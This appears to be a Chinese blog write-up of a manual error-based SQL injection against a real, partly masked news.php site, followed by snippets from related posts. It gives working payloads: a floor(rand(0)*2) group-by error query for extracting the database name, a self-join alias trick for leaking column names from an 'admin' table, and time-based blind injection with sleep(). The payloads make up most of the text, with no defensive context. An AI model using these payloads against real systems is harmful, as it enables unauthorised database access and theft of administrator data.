注入點http://***/news.php?newsid=18
收集了下ip,不能sqlmap了,就只能手工了。
經典 and 1=1 1=2
一直報錯,感覺是被過濾了,後面使用注釋符也不行
使用union select 1,2,3也報錯,確定不了字段數。
成功payload:
union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,database(),0x7e,floor(rand(0)*2)) --
更改database()即可
以為只是簡單報錯注入,猜庫,猜表就完事了。
得出庫名與表名。再出列名的時候報錯了
select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
一直出不了列名
找到大牛的語句
select name from test where id=1 and (select * from (select * from test as a join test as b) as c);
這個的原理就是在使用別名的時候,表中不能出現相同的欄位名,於是我們就利用join把錶擴充成兩份,在最後別名c的時候 查詢到重複字段,就成功報錯爆出列名。(本地測試,替換到database()就可以了)
會出現乙個存在的列名,然後在使用using,這個不能出現重複的列名
這樣就得到了最終的列名,後續不再演示了
簡單的一次手注,寫出來就是想記錄
select * from (select * from test as a join test as b) as c
的使用,第一次遇到這種情況,記錄一下。
如有不對,希望及時指正
一次簡單的純手工顯錯注入
注 這裡還要利用到了乙個函式group concat 意思是將查詢的結果併排 拼接一起展示,不然輸出點只能顯示乙個表名或者字段 1.利用and1 1 顯示正常,and 1 2 顯示錯誤頁面。證明有注入點 2。order by 語句查詢有幾個字段,為了後面使用聯合查詢 例如,order by 4 出錯...
一次簡單SQL注入
一次簡單sql注入 id 遇見id 上去乙個單引號 報錯,回顯判斷是mysql資料庫 and 1 1正常 and 1 2 不正常 數字型注入點沒錯了,還沒有waf 開始下手 order by 判斷當前注入點有25個字段 回顯 2 和 10 用database 替換2 version 替換10 開始爆...
一次手工和工具的延時注入(時間注入)
利用函式sleep 讓伺服器休眠,通過休眠時間判斷執行的語句對錯,從而得到我們想要的資訊 1,判斷當前庫名的長度 and if length database 8,0,sleep 5 0 結果 8時網頁沒睡眠,可以判斷當前庫名有8個字元 2,猜庫名 and if ascii substr datab...